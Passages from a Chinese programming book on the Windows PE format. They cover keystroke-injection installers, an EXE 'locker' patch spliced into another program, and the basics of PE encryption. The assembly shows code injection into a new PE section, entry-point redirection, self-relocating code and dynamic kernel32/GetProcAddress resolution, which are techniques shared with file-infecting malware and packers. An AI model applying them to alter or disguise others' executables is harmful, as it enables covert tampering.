    {"text": "19.4.2 键盘虚拟码 19.4.2 键盘虚拟码 对于早期的程序开发者来说，真实的键码由物理键盘产生。在Windows文件中将这些键码称为扫描码（Scan Code）。在IBM兼容机上，扫描码16是Q键、17是W键、18是E、19是R等。扫描码是根据键盘的实际布局编号的。Windows开发者认为这些代码与设备相关性太大，于是，他们试图通过定义所谓的虚拟键码（即虚拟码），以便使用与物理硬件无关的方式来处理键盘上的按键。其中一些虚拟码在与IBM兼容的机器上可能找不到，但是在其他制造商生产的键盘中可以找到。 虚拟键码保存在消息WM_KEYDOWN、WM_KEYUP、WM_SYSKEYDOWN和WM_SYSKEYUP的wParam参数中。此代码标识按下或释放的键，表19-2是键盘虚拟码对照表。 如表所示，阴影部分为超过0a0h（即大于160的虚拟键码）的键值。黑体部分为软件安装自动化消息发送器中常用的虚拟键码，如确认用的回车符、调整插入点位置的Tab键、输入安装路径的大小写字母、输入序列号用的数字、输入路径时用到的冒号、斜杠等。大致可以细分为以下几个部分： 1～4为鼠标按键 8～36为功能键，包含回车、Tab、空格等 37～40为光标移动键 48～57为数字键 65～90为大写字母键 112～135为F1～F24的功能键 186～222为特殊符号，如单引号、斜线等 166～172为浏览器辅助键 173～175为音量辅助键 176～179为多媒体辅助键 180～183为语言辅助键 因为键盘上有许多键同时表示两个符号，即按下Shift是一个符号，不按下又是另外一个符号，例如，键盘虚拟码为186，如果不按Shift键时表示分号，按下时则表示冒号，所以在表达键盘虚拟码的时候还要注意合理地使用功能键。 19.4.3 改进的消息发送器实例分析 19.4.3 改进的消息发送器实例分析 因为keybd _event发送键盘消息非常简单，所以，本章在构建消息发送器生成工厂时就使用这个函数。代码清单19-3是一个使用了keybd _event函数进行消息发送的简单消息发送器，完整代码参见随书文件chapter19\\second\\_Message.asm。 代码清单19-3 改进的消息发送器（chapter19\\second\\_Message.asm） 1 .386 2 .model flat,stdcall 3 option casemap:none 4 5 include windows.inc 6 include user32.inc 7 include kernel32.inc 8 include winResult.inc 9 10 includelib user32.lib 11 includelib kernel32.lib 12 includelib winResult.lib 13 14 .code 15 16 ;------------------------------------------ 17 ;向窗口发送消息 18 ;------------------------------------------ 19 _doIt proc 20 21 invoke Sleep,10000 ;先休眠10秒 22 23 invoke keybd _event,VK_C,0,0,0 24 invoke Sleep,1000 25 26 invoke keybd _event,VK_SHIFT,0,0,0 ;按下shift键 27 invoke keybd _event,0BAh,0,0,0 ;冒号 28 invoke keybd _event,VK_SHIFT,0,\\ 29 KEYEVENTF_KEYUP,0 ;弹起 30 invoke Sleep,1000 31 32 33 invoke keybd _event,220,0,0,0 ;斜线 34 invoke Sleep,1000 35 36 invoke keybd _event,VK_W,0,0,0 37 invoke Sleep,1000 ┇ 53 54 invoke keybd _event,VK_TAB,0,0,0 55 invoke Sleep,1000 56 57 invoke keybd _event,VK_RETURN,0,0,0 58 invoke Sleep,5000 59 60 61 invoke keybd _event,VK_RETURN,0,0,0 62 invoke Sleep,5000 63 64 invoke keybd _event,VK_RETURN,0,0,0 65 invoke Sleep,5000 66 67 @ret: 68 ret 69 70 _doIt endp 71 72 start: 73 invoke _doIt 74 invoke ExitProcess,NULL 75 end start 以上代码演示的是向操作系统当前顶层窗口发送字符串\"c:\\winrar\"的例子。其中，字符\"c\"的发送代码见行23。冒号的发送消息比较特殊，分三步：第一步将Shift键按下；第二步发送冒号对应的键盘虚拟码；第三步是弹起Shift键。完整的代码见行26～28。 注意 函数keybd _event发送消息时，无需指定接收消息的窗口，系统会将消息默认发送给当前窗口。程序在安装时，其安装界面的窗口总是在最前面（非常特殊的安装程序除外），所以，通过函数keybd _event发送消息的方法对所有的安装程序而言几乎都是有效的。"},
    {"text": "19.4.4 消息发送器生成工厂代码结构 19.4.4 消息发送器生成工厂代码结构 下面重点来看对消息发送器生成工厂的编写。在安装程序的过程中，消息发送器大致需要向窗口发送如下的消息： 功能键（如F8键，表示用户同意安装协议） 确认键（如回车表示确认） 功能键（如使用Tab键，用于移动焦点） 选择键（如空格键） 字符键（如用户名、注册码等） 控制消息（一些控制窗口的消息，比如关闭窗口WM_CLOSE等） 不同的消息需要发送不同的按键虚拟码，设置不同的字节指令码。 下面是一段对发送消息代码反汇编后的分析结果： 以冒号为例（上述所列内容的加黑部分）：按下键盘上冒号键的程序代码是最长的一段指令代码，需要先发送Shift键按下，然后发送冒号的虚拟键值，最后发送Shift键的弹起消息。最长的这段指令长度为00401381h-00401349h=38h个字节，转换为十进制为56个字节。假设每一段代码长度为56字节，那么，MessageFactory.asm中定义的关于存放发送消息的代码长度大约为50000字节，因此，该空间可以容纳待发送的消息个数为50000/56=892条。这个数量对于大部分的安装程序来说是足够的。 在程序中如何为代码预留空间呢？很简单，使用大量的jmp @ret指令即可，如下所示： ;------------------------------------------ ;向窗口发送消息 ;------------------------------------------ _doIt proc ;先休眠10秒 push 10000 call [ebx+_Sleep] jmp @next1 Character1 dd 0FFFFFFFFh,0FFFFFFFFh,0FFFFFFFFh,0FFFFFFFFh,0FFFFFFFFh ;标志。方便在字节码中查找存放发送消息代码的起始位置 @next1: jmp @ret ;用大量的跳转指令占位，具体消息的发送代码就附加到这里 jmp @ret jmp @ret jmp @ret jmp @ret jmp @ret jmp @ret jmp @ret jmp @ret jmp @ret jmp @ret jmp @ret ...... jmp @ret @ret: ret _doIt endp 当想向该子程序添加传送消息代码时，只需要将代码添加到连续的5个0FFFFFFFFh后，并将代码按照5个字节对齐（jmp @ret），不够的地方补代码90h，即nop指令。通过这样的编排，可以为程序添加代码而无需改动程序中其他任何位置的数据。 19.4.5 代码与数据的定位 19.4.5 代码与数据的定位 编写消息发送器生产工厂需要获取两个定位信息： 一个是安装程序窗口标题字符串的位置。可以认为这是一个特征字符串，通过在代码中与遍历到的窗口的标题字符串相比较即可得到安装程序窗口的句柄。该位置前有许多个0CCCCCCCCh双字。 另一个是代码的位置，即存放大量发送消息代码的位置。此位置前有许多个0FFFFFFFFh双字。打开随书文件MessageFactory.exe，定位这两个位置。 1.数据位置 如下所示，添加数据的起始地址为文件偏移024Fh处。一定要记得字符串必须以0结尾。 数据位置在源代码部分是这样声明的： 2.代码位置 如下所示，添加消息的代码起始地址为文件偏移052Ah处。 该位置在源代码中是这样定义的： 19.4.6 提取代码字节码 19.4.6 提取代码字节码 下面分析消息发送代码部分的编码。消息发送器生成工厂是批量生产消息发送器的地方，这个工厂的起始位置就是上一节中提到的代码位置。那么这一部分如何能根据发送消息的不同，创造出不同的代码呢？下面按照发送消息的类别来讨论这个问题。 1.发送一般的按键消息 一般的按键消息，如字符\"c\"，延时1000毫秒，其反汇编代码如下： 字节码为： 如上所示，如果推入栈的常量值小于9Fh，其指令字节码为6A，操作数长度为一个字节；如果推入栈的值大于9Fh，指令字节码应为68h，且操作数长度为四个字节，即一个双字。 以下是字符虚拟键码值大于0a0h（含0a0h）的字节码，注意加框部分： 下划线部分为函数Sleep的参数，即休眠的毫秒数。 2.发送带控制键的消息 如果要发送带控制键的消息，如键盘上的F8键，则对应的汇编语句的反汇编部分如下： 字节码为： 注意，因为控制键没有大于0a0h键码的，所以指令只有一种形式。 3.发送字符加控制键的消息 如冒号，需要先按下Shift键盘，然后再按字符键，最后还要弹起Shift键。反汇编代码如下： 如果按键虚拟码小于0a0h，比如字符\"C\"，对应的字节码如下： 如果按键虚拟码大于0a0h，比如字符“|”，对应的字节码如下： 以上指令类型按照使用频度可以分为以下5类： 小于0a0h值的字符（大部分常见字符，如回车、Tab键、数字、小写字母等） 控制信号（如F1～F24） 控制信号Shift+字符（字符小于0a0h的值，如大写字母） 控制信号Shift+字符（字符大于0a0h的值，如一些特殊符号的上档位） 大于0a0h值的字符（一些特殊符号如{，}，|，_，+，:，\"等） 这5类指令集合最终在消息发送器生成工厂源代码中的定义如下： 如上所示，源代码中对5种类型的消息发送代码的字节码进行了分解。将其中的消息代码及发送消息后休眠延迟的数值单独分解出来，给予标号定位，以便后面的代码可以根据这个模板填充数值，从而达到灵活定义消息发送代码的目的。"},
    {"text": "19.5 软件安装自动化主程序AutoSetup.exe 19.5 软件安装自动化主程序AutoSetup.exe 本实例的主程序名称为autosetup.asm，该程序实现了以下两个主要功能： 1）为安装程序打补丁，使安装程序在运行时首先启动_Message.exe程序，并在后台运行。"},
    {"text": "注意 在安装软件时，安装过程有许多种可能，有的安装程序可能需要用户输入序列号，有的安装程序则需要通过功能键确认安装协议，有的安装程序则简单到只按几个回车键即可。"},
    {"text": "19.5.1 主要代码 完整代码请参照随书文件chapter19\\second\\autosetup.asm，以下是主要代码： .elseif eax == WM_COMMAND mov eax,wParam .if ax == IDC_OK ;刷新 ;添加发送消息的代码 invoke _createMessage ;创建消息发送器 invoke _patchSetup ;为安装程序打补丁 invoke MessageBox,NULL,offset szSuccess,offset szTitle,MB_OK 如上所示，当用户单击了按钮“打补丁并生成消息发送器...”后，会执行两个操作，一个是通过调用_createMessage函数创建消息发送器，一个是通过调用_patchSetup为安装程序打补丁。"},
    {"text": "代码清单19-4 创建消息发送器函数_createMessage（chapter19\\second\\AutoSetup.asm） 1 ;--------------------------------------- 2 ;根据不同类别的消息附加不同指令代码 3 ;并将szMessageFile开始的 4 ;MESSAGE_EXE_SIZE个字节写入_Message.exe文件 5 ;--------------------------------------- 6 _createMessage proc 7 local @dwValue1,@dwValue2,@dwValue3 8 pushad 9 10 mov ecx,dwNumber 11 mov edi,offset szMessageFile 12 add edi,lpMessageCodeStart 13 14 mov dwCodeCount,0 15 16 mov ecx,0 17 ;循环处理表格中的每一行 18 .repeat 19 ;缓冲区清零 20 pushad 21 invoke RtlZeroMemory,addr szBuffer,512 22 popad 23 ;获取键值 24 invoke _GetListViewItem,hProcessModuleTable,ecx,1,addr szBuffer 25 push ecx 26 invoke atodw,addr szBuffer 27 pop ecx 28 mov @dwValue1,eax 29 ;写入指令中 30 ;mov ebx,offset szCode1_msg 31 ;mov byte ptr [ebx],al 32 33 ;缓冲区清零 34 pushad 35 invoke RtlZeroMemory,addr szBuffer,512 36 popad 37 ;获取延迟值 38 invoke _GetListViewItem,hProcessModuleTable,ecx,2,addr szBuffer 39 push ecx 40 invoke atodw,addr szBuffer 41 pop ecx 42 mov @dwValue2,eax 43 44 ;缓冲区清零 45 pushad 46 invoke RtlZeroMemory,addr szBuffer,512 47 popad 48 ;获取消息类别 49 invoke _GetListViewItem,hProcessModuleTable,ecx,3,addr szBuffer 50 push ecx 51 invoke atodw,addr szBuffer 52 pop ecx 53 54 .if eax == 1 55 ;写入指令中 56 mov ebx,offset szCode1_msg 57 mov eax,@dwValue1 58 mov byte ptr [ebx],al 59 60 mov ebx,offset szCode1_delay 61 mov eax,@dwValue2 62 mov dword ptr [ebx],eax 63 64 ;复制指令字节到_Message中 65 push ecx 66 mov esi,offset szCode1 67 mov ecx,szCode1Size 68 rep movsb 69 mov ecx,szCode1Size 70 add dwCodeCount,ecx 71 pop ecx 72 .elseif eax == 2 73 ;写入指令中 74 mov ebx,offset szCode2_msg 75 mov eax,@dwValue1 76 mov byte ptr [ebx],al 77 78 mov ebx,offset szCode2_msg_1 79 mov eax,@dwValue1 80 mov byte ptr [ebx],al 81 82 mov ebx,offset szCode2_delay 83 mov eax,@dwValue2 84 mov dword ptr [ebx],eax 85 86 ;复制指令字节到_Message中 87 push ecx 88 mov esi,offset szCode2 89 mov ecx,szCode2Size 90 rep movsb 91 mov ecx,szCode2Size 92 add dwCodeCount,ecx 93 pop ecx 94 .elseif eax == 3 95 ;写入指令中 96 mov ebx,offset szCode3_msg 97 mov eax,@dwValue1 98 mov byte ptr [ebx],al 99 100 mov ebx,offset szCode3_delay 101 mov eax,@dwValue2 102 mov dword ptr [ebx],eax 103 104 ;复制指令字节到_Message中 105 push ecx 106 mov esi,offset szCode3 107 mov ecx,szCode3Size 108 rep movsb 109 mov ecx,szCode3Size 110 add dwCodeCount,ecx 111 pop ecx 112 .elseif eax == 4 113 ;写入指令中 114 mov ebx,offset szCode4_msg 115 mov eax,@dwValue1 116 mov dword ptr [ebx],eax 117 118 mov ebx,offset szCode4_delay 119 mov eax,@dwValue2 120 mov dword ptr [ebx],eax 121 122 ;复制指令字节到_Message中 123 push ecx 124 mov esi,offset szCode4 125 mov ecx,szCode4Size 126 rep movsb 127 mov ecx,szCode4Size 128 add dwCodeCount,ecx 129 pop ecx 130 .elseif eax == 5 131 ;写入指令中 132 mov ebx,offset szCode5_msg 133 mov eax,@dwValue1 134 mov dword ptr [ebx],eax 135 136 mov ebx,offset szCode5_delay 137 mov eax,@dwValue2 138 mov dword ptr [ebx],eax 139 140 ;复制指令字节到_Message中 141 push ecx 142 mov esi,offset szCode5 143 mov ecx,szCode5Size 144 rep movsb 145 mov ecx,szCode5Size 146 add dwCodeCount,ecx 147 pop ecx 148 .endif 149 inc ecx 150 .break.if ecx == dwNumber 151 .until FALSE 152 153 ;将dwCodeCount按照5字节对齐，不足的字节补90h，即nop指令 154 mov eax,dwCodeCount 155 mov ecx,5 156 invoke _align 157 sub eax,dwCodeCount 158 xchg ecx,eax 159 mov al,90h 160 rep stosb 161 162 163 ;将新文件内容写入到c:\\bindC.exe 164 invoke writeToFile,addr szMessageFile,MESSAGE_EXE_SIZE 165 166 popad 167 ret 168 _createMessage endp 如清单所示，_createMessage函数通过遍历一张图形化的表格，获取用户定义的与消息有关的各种参数，如消息类别、按键的虚拟码值，以及按键消息发送后的延时等。"},
    {"text": "行54～71填充第一类的消息发送字节码。 行73～93填充第二类的消息发送字节码。 行95～111填充第三类的消息发送字节码。 行113～129填充第四类的消息发送字节码。 行131～147填充第五类的消息发送字节码。 因为五种消息发送字节码在数据定义部分都有自己的模板，所以填充时，只需要将表格中用户定义的虚拟码的值和延时值填入相应位置即可。"},
    {"text": "19.5.2 测试运行 19.5.2 测试运行 这里用两种方法开发软件自动安装管理器。第一种方法是关于SendMessage和PostMessage的，其代码在随书文件目录chapter19中。运行界面如图19-4所示。 图 19-4 使用PostMessage发送消息的窗口 另一种方法使用keybd _event函数发送消息，实现代码在随书文件目录chapter19\\second中。此实例用记事本程序模拟安装程序，在设计测试时使用了5种类别的数据。建议读者在实际使用时采用此案例，其运行界面如图19-5所示。 图 19-5 使用函数keybd _event发送消息的窗口 测试时请按照表19-3所示内容进行。 当选择“打补丁并生成消息发送器”按钮后，会在C盘根目录生成两个文件： setup.exe（打了补丁以后的安装程序） _Message.exe（为该安装程序定制的特有的消息发送器） 该发送器是由消息发送器生成工厂创建的工具，专门用来向setup.exe发送按键消息。它会在setup.exe进程启动后，以线程的方式在后台运行。运行setup.exe，等待10秒，软件将实现由用户在界面里预定的自动安装过程。 19.6 小结 19.6 小结 本章介绍了一种通过补丁消息发送器实现键盘自动输入的技术。利用这种技术，可以使一些常用外设输入的任务变得更加自动化、更加高效。本章的重点是消息发送器生成工厂，即根据不同用户定义创建不同消息发送器的代码。 通过这种技术可以完成一些功能类似的可执行程序的制作，比如在C/S模式下，根据服务器的不同配置，生成不同的服务器端程序或客户端程序。 第20章 EXE加锁器 第20章 EXE加锁器 如果你不想让其他人使用自己的电脑，你可以选择以下三种方法： 通过BIOS加密电脑。 为操作系统的用户设置密码。 将本机重要的可运行程序都设置为密码运行。 虽然电脑中安装的某些软件，其本身已经具备密码登录功能，如QQ、宽带上网拨号软件等，但大部分软件并不具备密码登录的功能。 这种情况下，就可以选择使用EXE加锁器。EXE加锁器是为EXE程序的运行增加权限的一种技术。如果用户想运行加锁的程序，首先会弹出密码输入框，正确则可以继续使用，错误则退出程序。它本质上是一个补丁，可以改变程序的运行流程；通过在原始PE流程的最开始处加入代码，使得被加锁的程序运行前首先弹出用户登录对话框。如果用户输入信息认证发生错误，则会提前终止程序。 结合捆绑器技术，EXE加锁器还可以辅助完成对文件和文件夹的加密。假设使用第18章开发的EXE捆绑器，将某个待加密的目录完成捆绑操作，被捆绑以后的所有文件和文件夹被存储在一个PE文件中。但是，只要有人执行这个PE文件，所有的文件就会被释放出来。这样，就失去了加密的意义。 最好的解决办法就是，使用本章介绍的EXE加锁器，将捆绑后生成的PE文件再做一次加锁，这样就实现了对文件和文件夹加密的功能。 20.1 基本思路 因为EXE加锁器是一个补丁程序，所以本章将重点介绍补丁程序的代码。 本节要开发的补丁程序具备以下三个特性： 窗口程序无需资源文件 无需导入表 无需重定位 弹出的窗口程序需要接收用户的输入，并根据输入信息执行相应的操作判断，是继续执行程序还是退出程序。 弹出的窗口中会提供几个控件，如文本编辑控件、按钮等，这些控件在前几章里都是定义在以.rc为扩展名的资源文件中。但是，本章将其作为补丁程序，需要将控件合并到目标PE中，因为，如果创造一个无需资源文件的窗口程序，就会省去打补丁时合并资源表的操作。关于免重定位和免导入表的技术请参照本书的第6章和第11章。 下面将分三步来开发这个加锁器代码，涉及的程序有： nores.asm（免资源文件的窗口程序） login.asm（为窗口程序添加免重定位特性） patch.asm（最终的补丁程序）"},
    {"text": "20.2 免资源文件的窗口程序nores.asm 20.2 免资源文件的窗口程序nores.asm 在汇编语言中创建窗口程序，可以使用资源文件，按照资源定义的规则使用脚本语句逐句定义窗口中的控件；也可以不使用资源文件，通过调用函数CreateWindowEx创建每个控件。要实现窗口程序的免资源文件特性，必须选择使用后者。 20.2.1 窗口创建函数CreateWindowEx 该函数可以创建一个具有扩展风格的重叠式窗口、弹出式窗口或子窗口。所有的控件在系统中都被认为是一个子窗口。该函数原型定义如下： HWND CreateWindowEx( DWORD dwExStyle，//窗口的扩展风格 LPCTSTR lpClassName，//窗口所属的类 LPCTSTR lpWindowName，//标题栏文字 DWORD dwStyle，// int x，//窗口坐标x的值 int y,//窗口坐标y的值 int nWidth，//窗口的宽度 int nHeight，//窗口的高度 HWND hWndParent，//窗口所属父窗口句柄 HMENU hMenu，//窗口菜单句柄 HANDLE hInstance，//窗口所处应用程序句柄 LPVOID lpParam// ); 函数参数解释如下： 1）dwExStyle：指定窗口的扩展风格。该参数可以是下列值： WS_EX_ACCEPTFILES：指定以该风格创建的窗口接受一个拖曳文件。 WS_EX_APPWINDOW：当窗口可见时，将一个顶层窗口放置到任务条上。 WS_EX_CLIENTEDGE：指定窗口有一个带阴影的边界。 WS_EX_CONTEXTHELP：在窗口的标题条包含一个问号标志 [1] 。 WS_EX_CONTROLPARENT：允许用户使用Tab键在窗口的子窗口间跳转。 WS_EX_DLGMODALFRAME：创建一个带双边的窗口；该窗口可以在dwStyle中指定WS_CAPTION风格来创建一个标题栏。 WS_EX_LEFT：窗口具有左对齐属性，这是默认设置的。 WS_EX_LEFTSCROLLBAR：滚动条在客户区的左部分。该属性只针对部分语言有效，若是其他语言，该风格被忽略并且不作为错误处理。 WS_EX_LTRREADING：窗口文本以LEFT到RIGHT（自左向右）属性的顺序显示。这是默认设置的。 WS_EX_MDICHILD：创建一个MDI子窗口。 WS_EX_NOPATARENTNOTIFY：指明以这个风格创建的窗口在被创建和销毁时不向父窗口发送WM_PARENTNOTFY消息。 WS_EX_OVERLAPPED：WS_EX_CLIENTEDGE和WS_EX_WINDOWEDGE的组合。 WS_EX_PALETTEWINDOW：为WS_EX_WINDOWEDGE、WS_EX_TOOLWINDOW和WS_WX_TOPMOST风格的组合。 WS_EX_RIGHT：窗口具有普通的右对齐属性，该属性只针对特定的语言有效。 WS_EX_RIGHTSCROLLBAR：垂直滚动条在窗口的右边界。这是默认设置的。 WS_EX_RTLREADING：窗口文本自左向右的顺序读出。该属性只针对特定的语言有效。 WS_EX_STATICEDGE：为不接受用户输入的项创建一个三维边界风格。 WS_EX_TOOLWINDOW：创建工具窗口，即窗口是一个游动的工具条 [2] 。 WS_EX_TOPMOST：指明以该风格创建的窗口应放置在所有非最高层窗口的上面。 WS_EX_TRANSPARENT：指定以这个风格创建的窗口在其下的同属窗口已重画时，该窗口才跟随着重画以便能显示其下的同属窗口，确保该窗口是透明的。 2）IpClassName：指向一个空结束的字符串或整型数。如果lpClassName是一个字符串，它指定了窗口的类名。这个类名可以是任何用函数RegisterClassEx注册的类名，或是任何预定义的控制类名。 3）lpWindowName：指向一个指定窗口名的空结束的字符串指针。如果窗口风格指定了标题条，由lpWindowName指向的窗口标题将显示在标题条上。当使用CreateWindow函数来创建控件（例如按钮、选择框和静态控件）时，可使用lpWindowName来指定控件上要显示的文本。 4）dwStyle：指定创建窗口的风格。 5）x：窗口x坐标的值。 6）y：窗口y坐标的值。 7）nWidth：窗口的宽度。 8）nHeigth：窗口的高度。 9）hWndParent：父窗口句柄。 10）hMenu：附加在窗口上的菜单句柄。 11）hlnstance：与窗口相关联的模块实例的句柄。 12）lpParam：指向一个值的指针，该值传递窗口的WM_CREATE消息。 13）返回值：如果函数执行成功，返回值为新窗口的句柄；如果函数失败，返回值为NULL。若想获得更多错误信息，可以调用GetLastError函数。 [1] 注意，WS_EX_CONTEXTHELP不能与WS_MAXIMIZEBOX和WS_MINIMIZEBOX同时使用。并且当窗口具有WS_EX_CONTEXTHELP风格时还必须同时指定使其具备WS_SYSMENU风格。 [2] 工具窗口的标题条比一般窗口的标题条短，并且窗口标题以小字体显示。工具窗口不在任务栏里显示，当用户按下Alt+Tab键时，工具窗口不在对话框里显示。如果工具窗口有一个系统菜单，它的图标也不会显示在标题栏里，但是，可以通过点击鼠标右键或Alt+Space来显示菜单。 20.2.2 创建用户登录窗口的控件 20.2.2 创建用户登录窗口的控件 下面分析要创建的EXE加锁器的窗口程序界面所包含的控件，EXE加锁器用户登录的窗口界面如图20-1所示。 图 20-1 免资源文件的用户登录窗口界面 如图所示，弹出的用户登录窗口上共有6个控件，包括2个静态文本、2个文本框和2个按钮。这6个控件的相关信息见表20-1。 表中每一个控件都需要使用函数CreateWindowEx创建。"},
    {"text": "代码清单20-1 不需要资源文件的登录窗口程序（chapter20\\noRes.asm） 1 ;------------------------ 2 ;该程序演示了一个不需要资源文件的登录窗口示例 3 ;戚利 4 ;2010.6.28 5 ;------------------------ 6 .386 7 .model flat,stdcall 8 option casemap:none 9 10 include windows.inc 11 include user32.inc 12 includelib user32.lib 13 include kernel32.inc 14 includelib kernel32.lib 15 include gdi32.inc 16 includelib gdi32.lib 17 18 ID_BUTTON1 equ 1 19 ID_BUTTON2 equ 2 20 ID_LABEL1 equ 3 21 ID_LABEL2 equ 4 22 ID_EDIT1 equ 5 23 ID_EDIT2 equ 6 24 25 ;数据段 26 .data 27 28 szCaption db '欢迎您！"},
    {"text": "20.3 免重定位的窗口程序login.asm 20.3 免重定位的窗口程序login.asm 这是编写补丁程序的第二步，基于上一节已经测试执行正确的nores.asm，修改其中的代码，使其符合免重定位、免导入表特性。"},
    {"text": "代码清单20-2 免重定位信息的用户登录窗口（chapter20\\login.asm） 1 ;------------------------ 2 ;该程序演示了一个不需要资源文件的登录窗口 3 ;免重定位信息，无数据段 4 ;戚利 5 ;2010.6.28 6 ;------------------------ 7 .386 8 .model flat,stdcall 9 option casemap:none 10 … 26 27 28 ;代码段 29 .code 30 jmp start 31 32 szCaption db '欢迎您！"},
    {"text": "注意 因为将数据段中定义的变量全部移到代码段，所以运行前需要在PE文件头部修改.text节的Characteristic属性为0E0000060h，否则会出现错误。"},
    {"text": "20.4 补丁程序patch.asm 20.4 补丁程序patch.asm 本节是编写补丁程序的最后一步。这一步将在第二步的基础上对login.asm进行修改，主要是完善login.asm的结构，使之符合本书13.3.1节定义的嵌入补丁框架的结构；最后，使用动态加载技术完成所有要调用的外部函数。 20.4.1 获取导入库及函数 为了完成一个免导入表的补丁程序，首先通过查找login.asm源代码，将代码中引入的所有动态链接库及调用的所有外部函数记录到表20-1中。 获取以上信息有三种办法： 1）自己从源代码中查找这些函数，通过网络获取函数与动态链接库的关系。 2）删除代码中的include和includelib后编译程序，会出现错误提示，每一行错误提示的最后就是程序中调用的函数名。 3）使用FlexHex找到login.exe的导入表，因为链接程序已经对函数进行了分类，所以从login.exe的字节码中就能获取这些函数，以及它们与动态链接库的关系。 第一种方法太慢；第二种方法会显示许多重名的函数，效率也不高；因此，建议大家采用第三种方法。以下是利用第三种方式获取的login.exe导入表的部分内容： 如上所示，导入表字符串首先列出被调用的各个函数名，然后才列出这些函数所处的动态链接库的名字。根据这些字节码信息，就很容易得到表20-1的内容。 20.4.2 按照补丁框架修改login.asm 20.4.2 按照补丁框架修改login.asm 依据嵌入补丁框架编写规则（详见13.3.2节）对原始的login.asm进行修改，这些修改包括：修改函数定义、分解函数调用语句、修改程序结构。首先来看如何修改函数，使其由静态调用变为动态调用。 1.修改函数 按照嵌入补丁框架中对调用外部函数的编写规则，对程序login.asm中调用的每个函数实施改造，步骤如下（以函数GetProcAddress为例）： （1）声明函数 _QLGetProcAddress typedef proto :dword,:dword （2）引用函数声明 _ApiGetProcAddress typedef ptr _QLGetProcAddress ;声明函数引用 （3）定义函数变量（全局变量） _GetProcAddress _ApiGetProcAddress ? ;定义函数 对函数的声明也不需要去网络或者书籍上查找。找到D:\\masm32\\include\\user32.inc，使用记事本程序打开，选择菜单“编辑”|“查找”；在弹出的对话框中，输入要查找的函数名后，单击“查找下一个”按钮，即可查找到user32.dll中的指定函数的声明。 2.分解函数调用语句 由于函数地址为全局变量，所以在调用时不能采用以下代码： invoke _GetProcAddrss 这样在生成指令字节码时还是会用到直接寻址，因此，invoke指令的操作数需要重新定位。为了解决这个问题，通常用以下代码来代替： mov edx,[ebx+offset _GetProcAddress] call edx 看一个实际的例子： mov eax,offset szLoadLibraryA add eax,ebx push eax push [ebx+offset hKernel32Base] mov edx,[ebx+offset _GetProcAddress] call edx mov [ebx+offset _LoadLibraryA],eax 上述的代码等价于： invoke GetProcAddress,hKernel32Base,addr szLoadLibraryA mov _LoadLibraryA,eax 虽然比原来的代码复杂了些，但由于使用了重定位技术和动态加载技术，所以能获得更好的可移植性。 3.修改程序结构 按照嵌入补丁框架的要求对login.asm的程序结构进行调整，主要涉及以下两个位置： 1）在代码段开始位置加入跳转指令代码，如下所示： ;代码段 .code jmp start szCaption db '欢迎您！',0 szText db '您是合法用户，请使用该软件！',0 szCaptionMain db '系统登录',0 ┇ 2）在返回指令前加入跳转指令代码，如下所示： jmpToStart db 0E9h,0F0h,0FFh,0FFh,0FFh ret end start"},
    {"text": "20.4.3 补丁程序主要代码 20.4.3 补丁程序主要代码 通过以上几步的修改，补丁程序基本成型，代码清单20-3为补丁程序的主要代码，完整代码请参见随书文件chapter20\\patch.asm。 代码清单20-3 EXE加锁器补丁程序主要代码（chapter20\\patch.asm） 1 start: 2 ;取当前函数的栈顶值 3 mov eax,dword ptr [esp] 4 push eax 5 call @F ;免去重定位 6 @@: 7 pop ebx 8 sub ebx,offset @B 9 pop eax 10 ;获取kernel32.dll的基地址 11 invoke _getKernelBase,eax 12 mov [ebx+offset hKernel32Base],eax 13 14 ;从基地址出发搜索GetProcAddress函数的首址 15 mov eax,offset szGetProcAddress 16 add eax,ebx 17 mov ecx,[ebx+offset hKernel32Base] 18 invoke _getApi,ecx,eax 19 ;为函数引用赋值GetProcAddress 20 mov [ebx+offset _GetProcAddress],eax 21 22 ;使用GetProcAddress函数的首址， 23 ;传入两个参数调用GetProcAddress函数，获得LoadLibraryA的首址 24 mov eax,offset szLoadLibraryA 25 add eax,ebx 26 27 push eax 28 push [ebx+offset hKernel32Base] 29 mov edx,[ebx+offset _GetProcAddress] 30 call edx 31 mov [ebx+offset _LoadLibraryA],eax 32 33 invoke _getDllBase ;获取所有用到的DLL的基地址，kernel32除外 34 invoke _getFuns ;获取所有用到的函数的入口地址， 35 ;GetProcAddress和LoadLibraryA除外 36 invoke _WinMain,ebx 37 38 jmpToStart db 0E9h,0F0h,0FFh,0FFh,0FFh 39 ret 40 end start 以上代码首先调用函数_getKernelBase得到kernel32.dll的基地址；然后，调用函数_getApi获得GetProcAddress的地址；进一步调用刚获取的函数GetProcAddress得到LoadLibraryA的地址。有了这两个地址以后，通过调用函数_getDllBase得到除kernel32.dll外的其他所有链接库的基地址，通过调用函数_getFuns获得本程序中用到的其他所有外部函数的地址。最后，执行主窗口创建函数_WinMain。 20.5 附加补丁运行 20.5 附加补丁运行 因为本实例的补丁代码比较长，共0B2Ch个字节，所以，这里使用第16章介绍的方法将代码添加到目标PE文件新的节中。以下是将patch.exe附加到WinWord的运行结果： 运行界面如图20-2所示。 图 20-2 EXE加锁器打补丁运行界面截图 运行以后，会在C盘根目录生成bindB.exe。打开bindB.exe，首先出现的就是权限认证窗口。输入正确的值以后（用户名：admin，密码：123456），才可以运行Word程序。 至此，EXE加锁器设计成功！ 20.6 小结 20.6 小结 本章实现了一个EXE加锁器。首先，编写了一个无需资源文件的窗口程序，通过在PE中创建一个新节，并通过将代码附加到新节的方法对目标PE实施补丁；当用户想运行目标PE时，需要先输入密码。 本章的重点是无资源文件补丁程序的编写。 第21章 EXE加密 第21章 EXE加密 EXE加密是软件保护范畴的一种技术，通过对指定的PE文件进行加密，可以增加逆向分析代码的难度，在一定程度上保护软件代码的安全。 EXE加密技术经常用于对软件的加壳处理，通过PE分析软件对加密后的PE文件进行分析，只能看到与补丁代码有关的信息，原始的PE文件相关信息被隐藏；同时，如果在EXE补丁代码中使用一些技巧，也能有效地增加PE反调试的难度，达到保护软件的目的。 21.1 基本思路 加密一个PE文件的基本思路如下： 步骤1 由补丁工具完成对目标PE文件数据目录表的修改，并将原始数据目录表的内容转移到补丁代码中。 步骤2 由补丁工具完成对目标PE文件节区数据的加密。 步骤3 由补丁工具设置目标PE文件入口地址指向补丁代码。 步骤4 由补丁代码完成对目标PE文件数据目录表的还原。 步骤5 由补丁代码完成对目标PE文件节区数据的解密。 步骤6 由补丁代码完成对目标PE文件导入表中动态链接库的动态加载。 步骤7 由补丁代码完成对目标PE文件IAT的修正。 加密以后的目标文件结构如图21-1所示。 图 21-1 加密以后的目标PE文件结构 